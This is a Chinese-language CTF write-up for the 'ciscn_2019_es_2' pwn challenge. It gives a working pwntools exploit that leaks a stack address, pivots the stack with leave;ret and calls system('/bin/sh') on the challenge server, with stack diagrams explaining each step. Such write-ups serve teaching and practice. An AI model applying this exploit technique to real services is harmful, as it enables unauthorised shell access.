ciscn_2019_es_2
ciscn_2019_es_2
1.IDA分析

存在栈溢出漏洞,但是只能溢出8个字节。基本就是要栈迁移了,但是自己对栈迁移的利用还是不怎么会。
2.checksec

3.解决
exp参考:https://www.cnblogs.com/remon535/p/13507217.html
from pwn import * from LibcSearcher import * context.log_level='debug' p=remote('node4.buuoj.cn',27101) #p=process('./ciscn_2019_es_2') elf=ELF('ciscn_2019_es_2') sys_plt=0x8048400 leave_ret=0x8048562 py='a'*0x27 p.sendlineafter('name?\n',py) p.recvuntil('\n') ebp=u32(p.recv(4)) payload='a'*4+p32(sys_plt)+p32(0)+p32(ebp-0x28)+'/bin/sh' payload=payload.ljust(0x28,'\0') payload+=p32(ebp-0x38)+p32(leave_ret) p.sendlineafter('\n',payload) #gdb.attach(p) p.interactive()
py='a'*0x27 p.sendlineafter('name?\n',py) p.recvuntil('\n') ebp=u32(p.recv(4))
首先利用第一次输入泄露出上一个函数的栈地址,用于计算输入的栈的地址。
payload='a'*4+p32(sys_plt)+p32(0)+p32(ebp-0x28)+'/bin/sh' payload=payload.ljust(0x28,'\0') payload+=p32(ebp-0x38)+p32(leave_ret)
执行leave前:
| esp: | aaaa |
| sys_plt | |
| p32(0) | |
| ebp-0x28 | |
| /bin | |
| /sh\x00 | |
| .... | |
| ebp-0x38 | |
| leava_ret |
ebp=esp+0x28
执行leava后:
| ebp: | aaaa |
| sys_plt | |
| p32(0) | |
| ebp-0x28 | |
| /bin | |
| /sh\x00 | |
| .... | |
| ebp-0x38 | |
| esp: | leava_ret |
再执行一个leave:
| aaaa | |
| esp: | sys_plt |
| p32(0) | |
| ebp-x028 | |
| /bin | |
| /sh\x00 | |
| .... | |
| ebp-0x38 | |
| leava_ret |
ebp:0x61616161

浙公网安备 33010602011771号